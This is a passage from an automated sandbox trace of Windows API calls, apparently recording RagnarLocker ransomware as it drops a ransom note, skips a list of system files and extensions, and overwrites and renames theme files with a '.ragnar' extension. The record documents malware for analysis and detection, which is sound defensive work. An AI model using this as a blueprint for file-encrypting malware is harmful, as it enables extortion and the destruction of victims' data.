Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0073.107] lstrcpyW (in: lpString1=0x1eb638, lpString2="ECLIPSE" | out: lpString1="ECLIPSE") returned="ECLIPSE" [0073.107] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\" [0073.107] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\" [0073.107] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\RGNR_FD7BD9FC.txt" [0073.107] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0073.110] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*" [0073.110] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0073.110] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.110] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dd08980, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.111] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dd08980, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.111] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0073.111] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0073.111] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2=".") returned 1 [0073.111] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="..") returned 1 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0073.111] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2=".") returned 1 [0073.111] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="..") returned 1 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.111] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0073.111] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd08980, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.111] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0073.111] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.111] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0073.111] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.111] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dd08980, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.111] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dd08980, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.112] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0073.112] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0073.112] lstrcpyW (in: lpString1=0x1eab70, lpString2="ECLIPSE.ELM" | out: lpString1="ECLIPSE.ELM") returned="ECLIPSE.ELM" [0073.112] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM") returned=".ELM" [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="autorun.inf") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="boot.ini") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="bootfont.bin") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="bootsect.bak") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="bootmgr") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="bootmgr.efi") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="bootmgfw.efi") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="desktop.ini") returned 1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="iconcache.db") returned -1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="ntldr") returned -1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="ntuser.dat") returned -1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="ntuser.dat.log") returned -1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="ntuser.ini") returned -1 [0073.112] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="thumbs.db") returned -1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0073.112] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0073.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm")) returned 0x20 [0073.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.113] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=118577) returned 1 [0073.113] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1cf28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.113] GetProcessHeap () returned 0x580000 [0073.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.113] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.162] VirtualAlloc (lpAddress=0x0, dwSize=0x1cf31, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.162] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.162] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.163] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cf31, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1cf31, lpOverlapped=0x0) returned 1 [0073.166] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.166] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cf31, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.166] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cf31, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1cf31, lpOverlapped=0x0) returned 1 [0073.167] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cf31, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.167] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.167] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1cf31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.167] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.168] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.168] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.168] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.168] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.168] GetProcessHeap () returned 0x580000 [0073.168] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.168] CloseHandle (hObject=0x10c) returned 1 [0073.170] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" [0073.170] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.ragnar_FD7BD9FC" [0073.170] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.172] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0073.172] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0073.172] lstrcpyW (in: lpString1=0x1eab70, lpString2="ECLIPSE.INF" | out: lpString1="ECLIPSE.INF") returned="ECLIPSE.INF" [0073.172] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF") returned=".INF" [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="autorun.inf") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="boot.ini") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="bootfont.bin") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="bootsect.bak") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="bootmgr") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="bootmgr.efi") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="bootmgfw.efi") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="desktop.ini") returned 1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="iconcache.db") returned -1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="ntldr") returned -1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="ntuser.dat") returned -1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="ntuser.dat.log") returned -1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="ntuser.ini") returned -1 [0073.172] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="thumbs.db") returned -1 [0073.172] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0073.172] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0073.172] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0073.172] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0073.172] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0073.173] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0073.173] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0073.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf")) returned 0x20 [0073.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.174] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=595) returned 1 [0073.174] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.174] GetProcessHeap () returned 0x580000 [0073.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.174] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.175] VirtualAlloc (lpAddress=0x0, dwSize=0x253, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.175] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.175] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.175] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x253, lpOverlapped=0x0) returned 1 [0073.175] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.175] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x253, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.175] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x253, lpOverlapped=0x0) returned 1 [0073.176] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x253, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.176] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.176] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x253, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.176] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.176] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.176] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.176] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.176] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.176] GetProcessHeap () returned 0x580000 [0073.176] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.176] CloseHandle (hObject=0x10c) returned 1 [0073.177] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" [0073.177] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpString2=".ragnar_FD7BD9FC" | out: 